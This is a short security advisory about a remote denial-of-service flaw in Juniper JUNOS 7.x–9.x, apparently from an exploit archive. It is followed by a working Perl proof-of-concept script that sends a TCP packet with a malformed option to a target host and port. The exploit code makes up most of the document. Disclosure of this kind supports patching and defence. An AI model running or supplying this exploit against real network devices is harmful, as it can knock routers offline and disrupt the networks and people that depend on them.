source: http://www.securityfocus.com/bid/37670/info

JUNOS is prone to a remote denial-of-service vulnerability that arises when the application handles specially crafted TCP packets.

JUNOS is also prone to six other unspecified security vulnerabilities. These issues may include privilege-escalation or denial-of-service issues.

JUNOS 7.x, 8.x, and 9.x are affected. JUNOS 10.x is not believed to be affected. 

#!/usr/bin/perl

my $host =      shift;
my $port =      shift;

use             Net::Packet qw($Env);

use             Net::Packet::IPv4;
my $ip =        Net::Packet::IPv4->new(dst => $host);

use             Net::Packet::TCP;

my $tcp =       Net::Packet::TCP->new(
                    dst         => $port,
                    options     =>  "\x65\x02\x01\x01", 
                );

use             Net::Packet::Frame;
my $frame =     Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);

$frame->send;
exit 0;